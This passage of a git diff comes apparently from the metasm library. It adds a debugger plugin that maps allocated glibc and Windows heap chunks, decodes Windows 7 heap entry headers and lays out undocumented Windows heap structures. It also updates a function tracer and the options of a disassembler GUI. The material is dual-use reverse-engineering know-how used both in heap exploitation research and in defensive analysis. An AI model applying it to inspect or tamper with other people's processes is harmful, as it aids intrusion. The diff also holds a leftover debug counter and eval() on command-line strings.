@mmapchunks.each { |a| + scan_mmap_xr(a, @chunks[a]) + } + end + + # scan chunks from a heap base addr + def scan_heap(base, len, ar) + dw = dwcache(base, len) + ptr = 0 + + psz = dw[ptr] + sz = dw[ptr+1] + base += 2*@ptsz # user pointer + raise "bad heap base %x %x %x %x" % [psz, sz, base, len] if psz != 0 or sz & 1 == 0 + + loop do + clen = sz & -8 # chunk size + ptr += clen/@ptsz # start of next chk + break if ptr >= dw.length or clen == 0 + sz = dw[ptr+1] + if sz & 1 > 0 # pv_inuse + # user data length up to chucksize-4 (over next psz) + #puts "used #{'%x' % base} #{clen-@ptsz}" if $VERBOSE + @chunks[base] = clen-@ptsz + else + #puts "free #{'%x' % base} #{clen-@ptsz}" if $VERBOSE + end + base += clen + end + + del_fastbin(ar) + end + + def scan_heap_xr(base, len) + dw = dwcache(base, len) + @chunks.each_key { |p| + i = (p-base) / @ptsz + if i >= 0 and i < dw.length + lst = dw[i, @chunks[p]/@ptsz].find_all { |pp| @chunks[pp] } + @xrchunksto[p] = lst if not lst.empty? + lst.each { |pp| (@xrchunksfrom[pp] ||= []) << p } + end + } + end + + # scan chunks from a mmap base addr + # big chunks are allocated on anonymous-mmap areas + # for mmap chunks, pv_sz=0 pv_inuse=0, mmap=1, data starts at 8, mmapsz = userlen+12 [roundup 4096] + # one entry in /proc/pid/maps may point to multiple consecutive mmap chunks + # scans for a mmap chunk header, returns the chunk size if pattern match or nil + def scan_mmap(base, len) + foo = chunkdata(base) + clen = foo[1] & ~0xfff + if foo[0] == 0 and foo[1] & 0xfff == 2 and clen > 0 and clen <= len + @chunks[base + foo.length] = clen-4*@ptsz + @mmapchunks << (base + foo.length) + clen + end + end + + def scan_mmap_xr(base, len) + dw = dwcache(base, len) + lst = dw[2..-1].find_all { |pp| @chunks[pp] } + @xrchunksto[base] = lst if not lst.empty? + lst.each { |pp| (@xrchunksfrom[pp] ||= []) << base } + end + + attr_accessor :main_arena_ptr + + # we need to find the main_arena from the libc + # we do this by analysing 'malloc_trim' + def scan_libc(addr) + raise 'no libc' if not addr + + return if @main_arena_ptr = @dbg.symbols.index('main_arena') + + unless trim = @dbg.symbols.index('malloc_trim') || @dbg.symbols.index('weak_malloc_trim') + @dbg.loadsyms 'libc[.-]' + trim = @dbg.symbols.index('malloc_trim') || @dbg.symbols.index('weak_malloc_trim') + end + raise 'cant find malloc_trim' if not trim + + d = @dbg.disassembler + + d.disassemble_fast(trim) if not d.di_at(trim) + if d.block_at(trim).list.last.opcode.name == 'call' + # x86 getip, need to dasm to have func_binding (cross fingers) + d.disassemble d.block_at(trim).to_normal.first + end + d.each_function_block(trim) { |b| + # mutex_lock(&main_arena.mutex) gives us the addr + next if not cmpxchg = d.block_at(b).list.find { |di| di.kind_of? DecodedInstruction and di.opcode.name == 'cmpxchg' } + @main_arena_ptr = d.backtrace(cmpxchg.instruction.args.first.symbolic.pointer, cmpxchg.address) + if @main_arena_ptr.length == 1 + @main_arena_ptr = @main_arena_ptr[0].reduce + break + end + } + raise "cant find mainarena" if not @main_arena_ptr.kind_of? Integer + @dbg.symbols[@main_arena_ptr] = 'main_arena' + end + + def chunkdata(ptr) + @cp.decode_c_ary('uintptr_t', 2, @dbg.memory, ptr).to_array + end + + def each_heap + if not @cp.toplevel.struct['malloc_state'] + @cp.parse < 0 + heapcpy[off + @hsz, csz].unpack('L*').each { |p| + if @chunks[p] + (@xrchunksto[ptr] ||= []) << p + (@xrchunksfrom[p] ||= []) << ptr + end + } + end + off += sz + end + end + + # yields the _HEAP structure for all heaps + def each_heap + heaps.each { |a, l| + ar = @cp.decode_c_struct('_HEAP', @dbg.memory, a) + yield ar + } + end + + # yields all [ptr, len] for allocated segments of a _HEAP + # this maps to the _HEAP_SEGMENT further subdivised to skip + # the _HEAP_UNCOMMMTTED_RANGE areas + # for the last chunk of the _HEAP_SEGMENT, only yield up to chunk_header + def each_heap_segment(ar) + ar.segments.to_array.compact.each { |a| + sg = @cp.decode_c_struct('_HEAP_SEGMENT', @dbg.memory, a) + skiplist = [] + ptr = sg.uncommittedranges + while ptr + ucr = @cp.decode_c_struct('_HEAP_UNCOMMMTTED_RANGE', @dbg.memory, ptr) + skiplist << [ucr.Address, ucr.Size] + ptr = ucr.Next + end + ptr = sg.firstentry + # XXX lastentryinsegment == firstentry ??? + # lastvalidentry = address of the end of the segment (may point to unmapped space) + ptrend = sg.lastvalidentry + skiplist.delete_if { |sa, sl| sa < ptr or sa + sl > ptrend } + skiplist << [ptrend, 1] + skiplist.sort.each { |sa, sl| + yield(ptr, sa-ptr) + ptr = sa + sl + } + } + end + + # call with a LIST_ENTRY allocstruct, the target structure and LE offset in this structure + def each_listentry(le, st, off=0) + ptr0 = le.stroff + ptr = le.flink + while ptr != ptr0 + yield @cp.decode_c_struct(st, @dbg.memory, ptr-off) + ptr = @cp.decode_c_struct('_LIST_ENTRY', @dbg.memory, ptr).flink + end + end +end + +class Windows7Heap < WindowsHeap + # 4-byte xor key to decrypt the chunk headers + attr_accessor :chunkkey_size, :chunkkey_flags, :chunkkey_unusedbytes + def each_heap_segment(ar) + if ar.encodeflagmask != 0 + @chunkkey_size = ar.encoding.size + @chunkkey_flags = ar.encoding.flags + @chunkkey_unusedbytes = ar.encoding.unusedbytes + else + @chunkkey_size = 0 + @chunkkey_flags = 0 + @chunkkey_unusedbytes = 0 + end + + each_listentry(ar.segmentlist, '_HEAP_SEGMENT', 0x10) { |sg| + skiplist = [] + each_listentry(sg.ucrsegmentlist, '_HEAP_UCR_DESCRIPTOR', 8) { |ucr| + skiplist << [ucr.address, ucr.size] + } + + ptr = sg.firstentry + ptrend = sg.lastvalidentry + @hsz + skiplist.delete_if { |sa, sl| sa < ptr or sa + sl > ptrend } + skiplist << [ptrend, 1] + skiplist.sort.each { |sa, sl| + yield(ptr, sa-ptr) + ptr = sa + sl + } + } + end + + def scan_heap_segment(first, len) + off = 0 + heapcpy = pagecache(first, len) + while off < len + he = @cp.decode_c_struct('_HEAP_ENTRY', heapcpy, off) + sz = (he.Size ^ @chunkkey_size)*8 + if (he.Flags ^ @chunkkey_flags) & 1 == 1 + @chunks[first+off+@hsz] = sz - (he.UnusedBytes ^ @chunkkey_unusedbytes) + end + off += sz + end + end + + def scan_frontend(ar) + return if ar.frontendheaptype != 2 + lfh = @cp.decode_c_struct('_LFH_HEAP', @dbg.memory, ar.frontendheap) + lfh.localdata[0].segmentinfo.to_array.each { |sinfo| + sinfo.cacheditems.to_array.each { |ssp| + next if not ssp + subseg = @cp.decode_c_struct('_HEAP_SUBSEGMENT', @dbg.memory, ssp) + scan_lfh_ss(subseg) + } + } + end + + def scan_lfh_ss(subseg) + up = subseg.userblocks + return if not up + bs = subseg.blocksize + bc = subseg.blockcount + list = Array.new(bc) { |i| up + 0x10 + bs*8*i } + + free = [] + ptr = subseg.freeentryoffset + subseg.depth.times { + free << (up + 8*ptr) + ptr = @dbg.memory[up + 8*ptr + 8, 2].unpack('v')[0] + } +@foo ||= 0 +@foo += 1 +p @foo if @foo % 10 == 0 + + up += 0x10 + list -= free + list.each { |p| @chunks[p+8] = bs*8 - (@cp.decode_c_struct('_HEAP_ENTRY', @dbg.memory, p).unusedbytes & 0x7f) } + end + + def scan_chunks_xr + @xrchunksto = {} + @xrchunksfrom = {} + @chunks.each { |a, l| + pagecache(a, l).unpack('L*').each { |p| + if @chunks[p] + (@xrchunksto[a] ||= []) << p + (@xrchunksfrom[p] ||= []) << a + end + } + } + end +end +end diff --git a/lib/metasm/samples/dbg-plugins/heapscan/winheap.h b/lib/metasm/samples/dbg-plugins/heapscan/winheap.h new file mode 100644 index 0000000000..adcc7fb004 --- /dev/null +++ b/lib/metasm/samples/dbg-plugins/heapscan/winheap.h @@ -0,0 +1,174 @@ +typedef void VOID; +typedef unsigned __int8 UINT8; +typedef unsigned __int16 UINT16; +typedef __int32 LONG32; +typedef unsigned __int32 ULONG32; +typedef unsigned __int64 UINT64; + +// pseudo struct, for the PEB heap list +struct HEAPTABLE { + struct _HEAP *list[16]; +}; + +struct _LIST_ENTRY { + struct _LIST_ENTRY *FLink; + struct _LIST_ENTRY *BLink; +}; + +union _SLIST_HEADER { + struct _LIST_ENTRY le; +}; + +typedef struct _HEAP_ENTRY // 7 elements, 0x8 bytes (sizeof) +{ +// union // 2 elements, 0x4 bytes (sizeof) +// { +// struct // 2 elements, 0x4 bytes (sizeof) +// { +/*0x000*/ UINT16 Size; +/*0x002*/ UINT16 PreviousSize; +// }; +///*0x000*/ VOID* SubSegmentCode; +// }; +/*0x004*/ UINT8 SmallTagIndex; +/*0x005*/ UINT8 Flags; +/*0x006*/ UINT8 UnusedBytes; +/*0x007*/ UINT8 SegmentIndex; +}HEAP_ENTRY, *PHEAP_ENTRY; + +typedef struct _HEAP // 36 elements, 0x588 bytes (sizeof) +{ +/*0x000*/ struct _HEAP_ENTRY Entry; // 7 elements, 0x8 bytes (sizeof) +/*0x008*/ ULONG32 Signature; +/*0x00C*/ ULONG32 Flags; +/*0x010*/ ULONG32 ForceFlags; +/*0x014*/ ULONG32 VirtualMemoryThreshold; +/*0x018*/ ULONG32 SegmentReserve; +/*0x01C*/ ULONG32 SegmentCommit; +/*0x020*/ ULONG32 DeCommitFreeBlockThreshold; +/*0x024*/ ULONG32 DeCommitTotalFreeThreshold; +/*0x028*/ ULONG32 TotalFreeSize; +/*0x02C*/ ULONG32 MaximumAllocationSize; +/*0x030*/ UINT16 ProcessHeapsListIndex; +/*0x032*/ UINT16 HeaderValidateLength; +/*0x034*/ VOID* HeaderValidateCopy; +/*0x038*/ UINT16 NextAvailableTagIndex; +/*0x03A*/ UINT16 MaximumTagIndex; +/*0x03C*/ struct _HEAP_TAG_ENTRY* TagEntries; +/*0x040*/ struct _HEAP_UCR_SEGMENT* UCRSegments; +/*0x044*/ struct _HEAP_UNCOMMMTTED_RANGE* UnusedUnCommittedRanges; +/*0x048*/ ULONG32 AlignRound; +/*0x04C*/ ULONG32 AlignMask; +/*0x050*/ struct _LIST_ENTRY VirtualAllocdBlocks; // 2 elements, 0x8 bytes (sizeof) +/*0x058*/ struct _HEAP_SEGMENT* Segments[64]; + union // 2 elements, 0x10 bytes (sizeof) + { +/*0x158*/ ULONG32 FreeListsInUseUlong[4]; +/*0x158*/ UINT8 FreeListsInUseBytes[16]; + }u; + union // 2 elements, 0x2 bytes (sizeof) + { +/*0x168*/ UINT16 FreeListsInUseTerminate; +/*0x168*/ UINT16 DecommitCount; + }u2; +/*0x16A*/ UINT16 AllocatorBackTraceIndex; +/*0x16C*/ ULONG32 NonDedicatedListLength; +/*0x170*/ VOID* LargeBlocksIndex; +/*0x174*/ struct _HEAP_PSEUDO_TAG_ENTRY* PseudoTagEntries; +/*0x178*/ struct _LIST_ENTRY FreeLists[128]; +/*0x578*/ struct _HEAP_LOCK* LockVariable; +///*0x57C*/ FUNCT_0049_0C5F_CommitRoutine* CommitRoutine; +/*0x57C*/ VOID* CommitRoutine; +/*0x580*/ VOID* FrontEndHeap; +/*0x584*/ UINT16 FrontHeapLockCount; +/*0x586*/ UINT8 FrontEndHeapType; +/*0x587*/ UINT8 LastSegmentIndex; +}HEAP, *PHEAP; + +typedef struct _HEAP_UNCOMMMTTED_RANGE // 4 elements, 0x10 bytes (sizeof) +{ +/*0x000*/ struct _HEAP_UNCOMMMTTED_RANGE* Next; +/*0x004*/ ULONG32 Address; +/*0x008*/ ULONG32 Size; +/*0x00C*/ ULONG32 filler; +}HEAP_UNCOMMMTTED_RANGE, *PHEAP_UNCOMMMTTED_RANGE; + +typedef struct _HEAP_ENTRY_EXTRA // 4 elements, 0x8 bytes (sizeof) +{ + union // 2 elements, 0x8 bytes (sizeof) + { + struct // 3 elements, 0x8 bytes (sizeof) + { +/*0x000*/ UINT16 AllocatorBackTraceIndex; +/*0x002*/ UINT16 TagIndex; +/*0x004*/ ULONG32 Settable; + }; +/*0x000*/ UINT64 ZeroInit; + }; +}HEAP_ENTRY_EXTRA, *PHEAP_ENTRY_EXTRA; + +typedef struct _HEAP_VIRTUAL_ALLOC_ENTRY // 5 elements, 0x20 bytes (sizeof) +{ +/*0x000*/ struct _LIST_ENTRY Entry; // 2 elements, 0x8 bytes (sizeof) +/*0x008*/ struct _HEAP_ENTRY_EXTRA ExtraStuff; // 4 elements, 0x8 bytes (sizeof) +/*0x010*/ ULONG32 CommitSize; +/*0x014*/ ULONG32 ReserveSize; +/*0x018*/ struct _HEAP_ENTRY BusyBlock; // 7 elements, 0x8 bytes (sizeof) +}HEAP_VIRTUAL_ALLOC_ENTRY, *PHEAP_VIRTUAL_ALLOC_ENTRY; + + +typedef struct _HEAP_FREE_ENTRY // 8 elements, 0x10 bytes (sizeof) +{ + union // 2 elements, 0x4 bytes (sizeof) + { + struct // 2 elements, 0x4 bytes (sizeof) + { +/*0x000*/ UINT16 Size; +/*0x002*/ UINT16 PreviousSize; + }; +/*0x000*/ VOID* SubSegmentCode; + }; +/*0x004*/ UINT8 SmallTagIndex; +/*0x005*/ UINT8 Flags; +/*0x006*/ UINT8 UnusedBytes; +/*0x007*/ UINT8 SegmentIndex; +/*0x008*/ struct _LIST_ENTRY FreeList; // 2 elements, 0x8 bytes (sizeof) +}HEAP_FREE_ENTRY, *PHEAP_FREE_ENTRY; + +typedef struct _HEAP_LOOKASIDE // 10 elements, 0x30 bytes (sizeof) +{ +/*0x000*/ union _SLIST_HEADER ListHead; // 4 elements, 0x8 bytes (sizeof) +/*0x008*/ UINT16 Depth; +/*0x00A*/ UINT16 MaximumDepth; +/*0x00C*/ ULONG32 TotalAllocates; +/*0x010*/ ULONG32 AllocateMisses; +/*0x014*/ ULONG32 TotalFrees; +/*0x018*/ ULONG32 FreeMisses; +/*0x01C*/ ULONG32 LastTotalAllocates; +/*0x020*/ ULONG32 LastAllocateMisses; +/*0x024*/ ULONG32 Counters[2]; +/*0x02C*/ UINT8 _PADDING0_[0x4]; +}HEAP_LOOKASIDE, *PHEAP_LOOKASIDE; + +struct FRONTEND1 { + struct _HEAP_LOOKASIDE l[128]; +}; + +typedef struct _HEAP_SEGMENT // 15 elements, 0x3C bytes (sizeof) +{ +/*0x000*/ struct _HEAP_ENTRY Entry; // 7 elements, 0x8 bytes (sizeof) +/*0x008*/ ULONG32 Signature; +/*0x00C*/ ULONG32 Flags; +/*0x010*/ struct _HEAP* Heap; +/*0x014*/ ULONG32 LargestUnCommittedRange; +/*0x018*/ VOID* BaseAddress; +/*0x01C*/ ULONG32 NumberOfPages; +/*0x020*/ struct _HEAP_ENTRY* FirstEntry; +/*0x024*/ struct _HEAP_ENTRY* LastValidEntry; +/*0x028*/ ULONG32 NumberOfUnCommittedPages; +/*0x02C*/ ULONG32 NumberOfUnCommittedRanges; +/*0x030*/ struct _HEAP_UNCOMMMTTED_RANGE* UnCommittedRanges; +/*0x034*/ UINT16 AllocatorBackTraceIndex; +/*0x036*/ UINT16 Reserved; +/*0x038*/ struct _HEAP_ENTRY* LastEntryInSegment; +}HEAP_SEGMENT, *PHEAP_SEGMENT; diff --git a/lib/metasm/samples/dbg-plugins/heapscan/winheap7.h b/lib/metasm/samples/dbg-plugins/heapscan/winheap7.h new file mode 100644 index 0000000000..9358915856 --- /dev/null +++ b/lib/metasm/samples/dbg-plugins/heapscan/winheap7.h @@ -0,0 +1,307 @@ +typedef void VOID; +typedef unsigned __int8 UINT8; +typedef unsigned __int16 UINT16, WCHAR; +typedef __int32 LONG32; +typedef unsigned __int32 ULONG32; +typedef __int64 INT64; +typedef unsigned __int64 UINT64; + +struct HEAPTABLE { + struct _HEAP *list[16]; +}; + +struct _LIST_ENTRY { + struct _LIST_ENTRY *FLink; + struct _LIST_ENTRY *BLink; +}; + +typedef struct _SLIST_HEADER { + struct _SLIST_HEADER *Next; + UINT16 Depth; + UINT16 Sequence; +} SLIST_HEADER, *PSLIST_HEADER; + +struct _SINGLE_LIST_ENTRY { + struct _SINGLE_LIST_ENTRY *Next; +}; + + +typedef struct _HEAP_ENTRY { + VOID* PreviousBlockPrivateData; + UINT16 Size; + UINT8 Flags; + UINT8 SmallTagIndex; + UINT16 PreviousSize; + union + { + UINT8 SegmentOffset; + UINT8 LFHFlags; + }; + UINT8 UnusedBytes; +} HEAP_ENTRY, *PHEAP_ENTRY; + +typedef struct _HEAP_COUNTERS +{ + ULONG32 TotalMemoryReserved; + ULONG32 TotalMemoryCommitted; + ULONG32 TotalMemoryLargeUCR; + ULONG32 TotalSizeInVirtualBlocks; + ULONG32 TotalSegments; + ULONG32 TotalUCRs; + ULONG32 CommittOps; + ULONG32 DeCommitOps; + ULONG32 LockAcquires; + ULONG32 LockCollisions; + ULONG32 CommitRate; + ULONG32 DecommittRate; + ULONG32 CommitFailures; + ULONG32 InBlockCommitFailures; + ULONG32 CompactHeapCalls; + ULONG32 CompactedUCRs; + ULONG32 AllocAndFreeOps; + ULONG32 InBlockDeccommits; + ULONG32 InBlockDeccomitSize; + ULONG32 HighWatermarkSize; + ULONG32 LastPolledSize; +} HEAP_COUNTERS, *PHEAP_COUNTERS; + +typedef struct _HEAP_TUNING_PARAMETERS +{ + ULONG32 CommittThresholdShift; + ULONG32 MaxPreCommittThreshold; +} HEAP_TUNING_PARAMETERS, *PHEAP_TUNING_PARAMETERS; + +typedef struct _HEAP_SEGMENT +{ + struct _HEAP_ENTRY Entry; + ULONG32 SegmentSignature; + ULONG32 SegmentFlags; + struct _LIST_ENTRY SegmentListEntry; + struct _HEAP* Heap; + VOID* BaseAddress; + ULONG32 NumberOfPages; + struct _HEAP_ENTRY* FirstEntry; + struct _HEAP_ENTRY* LastValidEntry; + ULONG32 NumberOfUnCommittedPages; + ULONG32 NumberOfUnCommittedRanges; + UINT16 SegmentAllocatorBackTraceIndex; + UINT16 Reserved; + struct _LIST_ENTRY UCRSegmentList; +} HEAP_SEGMENT, *PHEAP_SEGMENT; + +typedef struct _HEAP +{ + struct _HEAP_SEGMENT Segment; + ULONG32 Flags; + ULONG32 ForceFlags; + ULONG32 CompatibilityFlags; + ULONG32 EncodeFlagMask; + struct _HEAP_ENTRY Encoding; + ULONG32 PointerKey; + ULONG32 Interceptor; + ULONG32 VirtualMemoryThreshold; + ULONG32 Signature; + ULONG32 SegmentReserve; + ULONG32 SegmentCommit; + ULONG32 DeCommitFreeBlockThreshold; + ULONG32 DeCommitTotalFreeThreshold; + ULONG32 TotalFreeSize; + ULONG32 MaximumAllocationSize; + UINT16 ProcessHeapsListIndex; + UINT16 HeaderValidateLength; + VOID* HeaderValidateCopy; + UINT16 NextAvailableTagIndex; + UINT16 MaximumTagIndex; + struct _HEAP_TAG_ENTRY* TagEntries; + struct _LIST_ENTRY UCRList; + ULONG32 AlignRound; + ULONG32 AlignMask; + struct _LIST_ENTRY VirtualAllocdBlocks; + struct _LIST_ENTRY SegmentList; + UINT16 AllocatorBackTraceIndex; + UINT8 _PADDING0_[0x2]; + ULONG32 NonDedicatedListLength; + VOID* BlocksIndex; + VOID* UCRIndex; + struct _HEAP_PSEUDO_TAG_ENTRY* PseudoTagEntries; + struct _LIST_ENTRY FreeLists; + struct _HEAP_LOCK* LockVariable; + VOID* CommitRoutine; + VOID* FrontEndHeap; + UINT16 FrontHeapLockCount; + UINT8 FrontEndHeapType; + UINT8 _PADDING1_[0x1]; + struct _HEAP_COUNTERS Counters; + struct _HEAP_TUNING_PARAMETERS TuningParameters; +} HEAP, *PHEAP; + +typedef struct _HEAP_ENTRY_EXTRA +{ + union + { + struct + { + UINT16 AllocatorBackTraceIndex; + UINT16 TagIndex; + ULONG32 Settable; + }; + UINT64 ZeroInit; + }; +} HEAP_ENTRY_EXTRA, *PHEAP_ENTRY_EXTRA; + +typedef struct _HEAP_FREE_ENTRY +{ + struct _HEAP_ENTRY Entry; + struct _LIST_ENTRY FreeList; +} HEAP_FREE_ENTRY, *PHEAP_FREE_ENTRY; + +typedef struct _HEAP_LIST_LOOKUP +{ + struct _HEAP_LIST_LOOKUP* ExtendedLookup; + ULONG32 ArraySize; + ULONG32 ExtraItem; + ULONG32 ItemCount; + ULONG32 OutOfRangeItems; + ULONG32 BaseIndex; + struct _LIST_ENTRY* ListHead; + ULONG32* ListsInUseUlong; + struct _LIST_ENTRY** ListHints; +} HEAP_LIST_LOOKUP, *PHEAP_LIST_LOOKUP; + +typedef struct _HEAP_LOOKASIDE +{ + struct _SLIST_HEADER ListHead; + UINT16 Depth; + UINT16 MaximumDepth; + ULONG32 TotalAllocates; + ULONG32 AllocateMisses; + ULONG32 TotalFrees; + ULONG32 FreeMisses; + ULONG32 LastTotalAllocates; + ULONG32 LastAllocateMisses; + ULONG32 Counters[2]; + UINT8 _PADDING0_[0x4]; +} HEAP_LOOKASIDE, *PHEAP_LOOKASIDE; + +typedef struct _INTERLOCK_SEQ +{ + union + { + struct + { + UINT16 Depth; + UINT16 FreeEntryOffset; + UINT8 _PADDING0_[0x4]; + }; + struct + { + ULONG32 OffsetAndDepth; + ULONG32 Sequence; + }; + INT64 Exchg; + }; +}INTERLOCK_SEQ, *PINTERLOCK_SEQ; + +typedef struct _HEAP_TAG_ENTRY +{ + ULONG32 Allocs; + ULONG32 Frees; + ULONG32 Size; + UINT16 TagIndex; + UINT16 CreatorBackTraceIndex; + WCHAR TagName[24]; +} HEAP_TAG_ENTRY, *PHEAP_TAG_ENTRY; + +typedef struct _HEAP_UCR_DESCRIPTOR +{ + struct _LIST_ENTRY ListEntry; + struct _LIST_ENTRY SegmentEntry; + VOID* Address; + ULONG32 Size; +} HEAP_UCR_DESCRIPTOR, *PHEAP_UCR_DESCRIPTOR; + +typedef struct _HEAP_USERDATA_HEADER +{ + union + { + struct _SINGLE_LIST_ENTRY SFreeListEntry; + struct _HEAP_SUBSEGMENT* SubSegment; + }; + VOID* Reserved; + ULONG32 SizeIndex; + ULONG32 Signature; +} HEAP_USERDATA_HEADER, *PHEAP_USERDATA_HEADER; + +typedef struct _HEAP_VIRTUAL_ALLOC_ENTRY +{ + struct _LIST_ENTRY Entry; + struct _HEAP_ENTRY_EXTRA ExtraStuff; + ULONG32 CommitSize; + ULONG32 ReserveSize; + struct _HEAP_ENTRY BusyBlock; +} HEAP_VIRTUAL_ALLOC_ENTRY, *PHEAP_VIRTUAL_ALLOC_ENTRY; + +struct _USER_MEMORY_CACHE_ENTRY { + ULONG32 Foo[4]; +}; +struct _HEAP_BUCKET { + ULONG32 Foo; +}; +struct _HEAP_BUCKET_COUNTERS { + ULONG32 Foo[2]; +}; + +typedef struct _HEAP_LOCAL_SEGMENT_INFO +{ + struct _HEAP_SUBSEGMENT* Hint; + struct _HEAP_SUBSEGMENT* ActiveSubsegment; + struct _HEAP_SUBSEGMENT* CachedItems[16]; + struct _SLIST_HEADER SListHeader; + struct _HEAP_BUCKET_COUNTERS Counters; + struct _HEAP_LOCAL_DATA* LocalData; + ULONG32 LastOpSequence; + UINT16 BucketIndex; + UINT16 LastUsed; + ULONG32 Pad; +} HEAP_LOCAL_SEGMENT_INFO, *PHEAP_LOCAL_SEGMENT_INFO; + +typedef struct _HEAP_LOCAL_DATA { + struct _SLIST_HEADER DeletedSubSegments; + struct _LFH_BLOCK_ZONE* CrtZone; + struct _LFH_HEAP* LowFragHeap; + ULONG32 Sequence; + struct _HEAP_LOCAL_SEGMENT_INFO SegmentInfo[128]; +} HEAP_LOCAL_DATA; + +typedef struct _HEAP_SUBSEGMENT +{ + struct _HEAP_LOCAL_SEGMENT_INFO* LocalInfo; + struct _HEAP_USERDATA_HEADER* UserBlocks; + struct _INTERLOCK_SEQ AggregateExchg; + UINT16 BlockSize; + UINT16 Flags; + UINT16 BlockCount; + UINT8 SizeIndex; + UINT8 AffinityIndex; + struct _SINGLE_LIST_ENTRY SFreeListEntry; + ULONG32 Lock; +} HEAP_SUBSEGMENT, *PHEAP_SUBSEGMENT; + +typedef struct _LFH_HEAP +{ + ULONG32 Lock[6]; + struct _LIST_ENTRY SubSegmentZones; + ULONG32 ZoneBlockSize; + VOID* Heap; + ULONG32 SegmentChange; + ULONG32 SegmentCreate; + ULONG32 SegmentInsertInFree; + ULONG32 SegmentDelete; + ULONG32 CacheAllocs; + ULONG32 CacheFrees; + ULONG32 SizeInCache; + ULONG32 RunInfo[3]; + struct _USER_MEMORY_CACHE_ENTRY UserBlockCache[12]; + struct _HEAP_BUCKET Buckets[128]; + struct _HEAP_LOCAL_DATA LocalData[1]; +} LFH_HEAP; diff --git a/lib/metasm/samples/dbg-plugins/trace_func.rb b/lib/metasm/samples/dbg-plugins/trace_func.rb index cc3e18cf71..65bb0594d0 100644 --- a/lib/metasm/samples/dbg-plugins/trace_func.rb +++ b/lib/metasm/samples/dbg-plugins/trace_func.rb @@ -10,16 +10,31 @@ # does not descend in subfunctions # setup the initial breakpoint at func start -def trace_func(addr) +def trace_func(addr, oneshot = false) + @trace_terminate = false + # distinguish different hits on the same function entry counter = 0 - bp = bpx(addr) { |h| + bp = bpx(addr, oneshot) { counter += 1 - id = [disassembler.normalize(addr), counter, @cpu.dbg_func_retaddr(self)] + id = [disassembler.normalize(addr), counter, func_retaddr] trace_func_newtrace(id) trace_func_block(id) - continue if h[:pre_state] == 'continue' + continue } - bp.action.call({}) if addr == pc + if addr == pc + del_bp bp if oneshot + bp.action.call + end +end + +# start tracing now, and stop only when @trace_terminate is set +def trace + @trace_subfuncs = true + @trace_terminate = false + id = [pc, 0, 0] + trace_func_newtrace(id) + trace_func_block(id) + continue end # we hit the beginning of a block we want to trace @@ -30,9 +45,9 @@ def trace_func_block(id) if b.list.length == 1 trace_func_blockend(id, blockaddr) else - bpx(b.list.last.address, true) { |h| + bpx(b.list.last.address, true) { finished = trace_func_blockend(id, blockaddr) - continue if h[:pre_state] == 'continue' and not finished + continue if not finished } end else @@ -44,29 +59,32 @@ end # we are at the end of a traced block, find whats next def trace_func_blockend(id, blockaddr) if di = disassembler.di_at(pc) - if @cpu.dbg_end_stepout(self, di.address, di) and trace_func_istraceend(id, di) + if end_stepout(di) and trace_func_istraceend(id, di) # trace ends there trace_func_finish(id) return true elsif di.opcode.props[:saveip] and not trace_func_entersubfunc(id, di) # call to a subfunction - bpx(di.next_addr, true) { |h| + bpx(di.next_addr, true) { trace_func_block(id) - continue if h[:pre_state] == 'continue' + continue } + continue else - singlestep # XXX would need a callback on singlestep completion (to avoid multithread/exception) - wait_target - newaddr = pc - trace_func_block(id) + singlestep { + newaddr = pc + trace_func_block(id) - trace_func_linkdasm(di.address, newaddr) + trace_func_linkdasm(di.address, newaddr) + continue + } end else # XXX should link in the dasm somehow - singlestep - wait_target - trace_func_block(id) + singlestep { + trace_func_block(id) + continue + } end false end @@ -88,7 +106,7 @@ def trace_func_linkdasm(from_addr, new_addr) return if not di # is it a subfunction return ? - if @cpu.dbg_end_stepout(self, di.address, di) and cdi = (1..8).map { |i| + if end_stepout(di) and cdi = (1..8).map { |i| disassembler.di_at(new_addr - i) }.compact.find { |cdi_| cdi_.opcode.props[:saveip] and cdi_.next_addr == new_addr @@ -148,7 +166,10 @@ def trace_subfuncs; @trace_subfuncs ||= false end # the tracer is on a end-of-func instruction, should the trace end ? def trace_func_istraceend(id, di) if trace_subfuncs - if target = disassembler.get_xrefs_x(di)[0] + if @trace_terminate + true + elsif id[2] == 0 # trace VS func_trace + elsif target = disassembler.get_xrefs_x(di)[0] # check the current return address against the one saved at trace start resolve(disassembler.normalize(target)) == id[2] end @@ -179,7 +200,10 @@ end if gui gui.new_command('trace_func', 'trace execution inside a target function') { |arg| trace_func arg } - gui.new_command('trace_now', 'trace til the end of the current function') { trace_func pc ; gui.wrap_run { continue } } + gui.new_command('trace_func_once', 'trace one execution inside the target function') { |arg| trace_func arg, true } + gui.new_command('trace_now', 'trace til the end of the current function') { trace_func pc, true ; gui.wrap_run { continue } } + gui.new_command('trace', 'start tracing from the current pc until trace_stop') { trace } + gui.new_command('trace_stop', 'stop tracing') { @trace_terminate = true } gui.new_command('trace_subfunctions', 'define if the tracer should enter subfunctions') { |arg| case arg.strip when 'on', '1', 'yes', 'y'; @trace_subfuncs = true diff --git a/lib/metasm/samples/disassemble-gui.rb b/lib/metasm/samples/disassemble-gui.rb index c8a097a765..080b5e0745 100644 --- a/lib/metasm/samples/disassemble-gui.rb +++ b/lib/metasm/samples/disassemble-gui.rb @@ -40,7 +40,7 @@ OptionParser.new { |opt| opt.on('--map ', 'load a map file (addr <-> name association)') { |f| opts[:map] = f } opt.on('--fast', 'dasm cli args with disassemble_fast_deep') { opts[:fast] = true } opt.on('--decompile') { opts[:decompile] = true } - opt.on('--gui ') { |g| require 'metasm/gui/' + g } + opt.on('--gui ') { |g| ENV['METASM_GUI'] = g } opt.on('--cpu ', 'the CPU class to use for a shellcode (Ia32, X64, ...)') { |c| opts[:sc_cpu] = c } opt.on('--exe ', 'the executable file format to use (PE, ELF, ...)') { |c| opts[:exe_fmt] = c } opt.on('--rebase ', 'rebase the loaded file to ') { |a| opts[:rebase] = Integer(a) } @@ -49,6 +49,8 @@ OptionParser.new { |opt| opt.on('-v', '--verbose') { $VERBOSE = true } # default opt.on('-q', '--no-verbose') { $VERBOSE = false } opt.on('-d', '--debug') { $DEBUG = $VERBOSE = true } + opt.on('-S ', '--session ', 'save user actions in this session file') { |a| opts[:session] = a } + opt.on('-N', '--new-session', 'start new session, discard old one') { opts[:newsession] = true } }.parse!(ARGV) case exename = ARGV.shift @@ -66,6 +68,8 @@ when /^(tcp:|udp:)?..+:/ else w = Metasm::Gui::DasmWindow.new("#{exename + ' - ' if exename}metasm disassembler") if exename + opts[:sc_cpu] = eval(opts[:sc_cpu]) if opts[:sc_cpu] =~ /[.(\s:]/ + opts[:exe_fmt] = eval(opts[:exe_fmt]) if opts[:exe_fmt] =~ /[.(\s:]/ exe = 